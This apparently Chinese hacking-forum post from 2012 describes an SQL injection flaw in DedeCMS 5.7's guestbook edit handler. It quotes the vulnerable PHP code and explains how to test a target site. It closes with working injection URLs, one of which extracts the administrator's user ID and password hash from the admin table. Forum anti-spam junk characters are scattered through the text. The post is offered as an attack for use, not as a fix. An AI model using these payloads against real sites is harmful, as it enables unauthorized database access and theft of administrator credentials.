找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3839|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
影响版本为5.7
# E9 Z. L9 s. j
! O. |8 V6 L  K  d1 N) g- t漏洞文件edit.inc.php具体代码:
; {5 g8 w+ t+ Q7 ^; d
  j/ X! J- ?9 Z& P5 w8 i  z< ?php  ( S7 P1 s* Z- @, f: i# O
( I1 j" Z3 I5 K4 u+ Y/ A
if(!defined('DEDEINC')) exit('Request Error!');  
- v! m' ~) K% q$ i, ], r9 A6 d, Z6 o: s! q3 N
   5 O# C6 w% {) w8 n- S4 S" ?

: Y, G( R# i) p6 ^3 r$ ~if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  - `" E5 f7 _( l0 w

% x6 H5 Y. S9 N! Yelse $GUEST_BOOK_POS = "guestbook.php";  ) @6 [: }! ?4 c! h: p9 B" W
7 c2 P0 {) h5 h- a: K
   0 C* X3 t' {5 w! B+ y$ m+ u, Q
5 ^! N0 x, _& X' D% P
$id = intval($id);  
, U2 m7 B' x9 _4 T
# o( z) F2 s) m. N& j5 Jif(empty($job)) $job='view';  
' E* t! a% Y, G4 W& e: n$ T8 \7 f
* o9 I' E6 R; B1 A% B& K, i( f$ Z   
8 I) H& D# n& j% ~2 Z) u8 h& b) d. S- Z4 ~: h( x! a6 J: w
if($job=='del' && $g_isadmin)  
7 U& c3 _3 f3 O+ C3 ^- w6 K1 A, a
( B2 t# o& G% G& F{  # D% u3 c# O: h$ `8 o" ]

* N) b8 l3 u0 y- y* d! I' I, _5 Z$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  ; n% g' d8 Q. @2 g& x8 R

/ A  X$ v3 ^# P3 gShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  
4 v, B- @1 L8 H! f! z
+ z- {4 m1 N$ |2 U: Mexit();  
$ ^1 z& m7 i- j* v' e# ]5 x5 ^
1 N( {6 I: I( L0 p9 [- b/ z# f1 z}  $ a- h) t7 X8 x8 q
& X4 U2 d# S' W, B2 ^/ Y
else if($job=='check' && $g_isadmin)  0 G6 I' |$ F2 {# K6 R4 Y  ], l+ I

! ]+ V& s' f( `( D{  
7 S) K% W; I; v' m$ O4 d. F* O6 {4 B& ^) \/ z; J
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  0 I/ n5 h7 K+ \
1 E! h+ K* [) q3 p( ?
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  
1 G! k" ?7 n9 Q: m( X+ |
" P( x; A+ q/ H* W& mexit();  / a4 ]7 g4 I  z2 h
# \* {! h2 U' _; ]8 H
}  
# s' o& D8 W' G& v2 q; ~
4 r& R0 e7 D' T! k! e$ ]7 c5 {! Nelse if($job=='editok')  " X$ m' L0 l: \$ \1 n- @

, B0 ]: m+ o& l/ s8 h{  
+ Q) r4 ]. M/ X# Q0 O. k4 \
, L' p" n* W3 c- K. Z, c$remsg = trim($remsg);  / t* p: d. _0 T  m$ }0 B0 w

9 q/ l$ f; |' v5 g5 n4 S2 nif($remsg!='')  4 n  [' _; @# J5 k
( O" c% E! Q! s' T$ q' {3 @0 J
{  7 J) K0 ~2 U3 u! p. ]

+ ^, O9 `. c& N, q4 i8 }- E//管理员回复不过滤HTML By:Errorera blog:errs.cc  5 n  T0 `% A' W
" t' m1 j# d6 e% L
if($g_isadmin)  
1 e" \: G, l7 v1 [
8 k! O0 V& ?" y{  ) s( W- c! _: D( ^4 b7 {6 v
  }3 I/ t$ K! o% J' o- Y
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  
( I* ^, S! {; ~# ^
3 @6 M* k" ~. ~//$remsg <br /><font color=red>管理员回复:</font> }  1 B1 c* [$ Z* s4 i, g# b
) @" |! L/ I9 Z" I
else
* |" L5 w  n3 B! \6 }$ x6 U: T4 p6 P! q; ^. l% h4 Q, b' B
{  
- |1 e, x' X. ?9 Q' R$ r, ^# a4 C# z( R
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
8 |; F, Y& [1 D( F/ M
+ n" u  Q7 e- c1 {  v$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  
4 }1 b& `% o; p6 U0 C. i$ [
: P/ l% W* L- x5 g3 _) S& ]! v% \$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
2 a* [0 s4 \8 E5 K
$ Y# }7 E$ s' _& R) ?: a, ?0 O$msg = $oldmsg.$remsg;  ) u+ n5 ?% k; R# |  Z/ K
  h. C! q% c, i& Z. x
}  ! F0 U: h$ a7 w

0 z0 W) P& h5 k& e- Y}  * Z( `5 e9 }! f- U

1 T- X% o; Q  c2 _" @//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  : m5 w4 g1 R# G2 h" i

& o- Y1 L5 j& r9 d7 S- f) v$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  
0 S' E* ~) e6 c4 W3 N# z4 L$ o( l- d2 e) J% W  B$ ?
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  ( {# Z3 b. |* u. E" L; @
8 Q  C. z; ^" o& g9 b4 c' a
exit();  + R) d- t5 s" X) Q3 p5 X
) E* I" v  O; {( x. z& J
}  2 d! K; t: N, E5 ]9 f4 T$ H" {
4 }+ K( `3 L9 p& S
//home:www.errs.cc  
# d7 K% k& L$ x. r
6 ?; q4 z' Y' W1 kif($g_isadmin)  
* G+ d2 @# O% L2 X6 J! }2 @. w" s# N. }2 @. N7 x# m
{  6 r$ I5 b$ L1 x1 f* {/ V. r1 O. z& E

  e6 n& i/ L3 x! W  j5 g$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  ' w1 p/ `! m. L3 S

3 p  @7 y4 q, E4 d" ]# \* Y1 G) Lrequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  
7 }) x: A9 J! A2 Y+ {( I
  w$ y2 e0 E! A* v9 Q" t6 Y" |2 ^) y}  + z1 k9 t9 h" V$ y
- z- I- r+ u% f& N' P* G! q( P
else
" U0 U, }- B/ u+ E4 W$ U8 V' @
  C" \1 |: d  E, _) c) x{  
  \  n( Q+ F0 u5 F! Q( h$ K* e/ _
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  ; q5 v2 @9 M) }$ w5 L) M$ Q2 h
8 k+ O' I* K0 l3 C' Q  @6 D0 F
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  , A" K0 l3 ~2 g) Z* M
( I6 }% J$ ]; P! Y
} 漏洞成功需要条件:
3 O) F, M$ O  p! l) Q1. php magic_quotes_gpc=off" X- K8 j, L( a: Z) @0 C1 O
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。0 B1 q$ \7 ^! Z7 l' c7 A, M5 C6 |* B

& `; x- C9 G: ^! \怎么判断是否存在漏洞:
& R+ W! E: i  z& {" P" ?+ P先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
0 k( e$ Q4 x: W& _! X然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID; y! C- p# s9 y  P1 ]6 D5 g9 h3 O" p+ R  Y
访问:
+ R  l( I% r; b1 n% v
, {5 q5 B5 ~6 V; wwww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了' c* v' L& W3 \) ?: y/ t8 J: [
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证3 q: F/ h' g6 |. B1 B9 z! o; H. Z
3 P# O& C0 M6 h8 _( J, e5 {" w
% c; k8 p5 O, S; F
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off4 g6 w+ w$ Q/ m/ m: q9 d, |( I
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。. F( o  h$ U1 a
那么再次访问) ]1 C2 ?, R, M$ F
6 g8 e5 b! |, I, i4 y% R2 a. h
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().8 G, ]! v2 e! i
3 P5 h( T& Z. [. k$ ~% L
大概利用就是这样,大家有兴趣的多研究下!!8 |7 z9 \& p) s* j& Q

6 k( v* ?  s& h- l' V- K最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
2 [. z( Z- G' Y' I- y, P, j2 K6 B
4 X" X+ `' N/ A6 T2 xview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表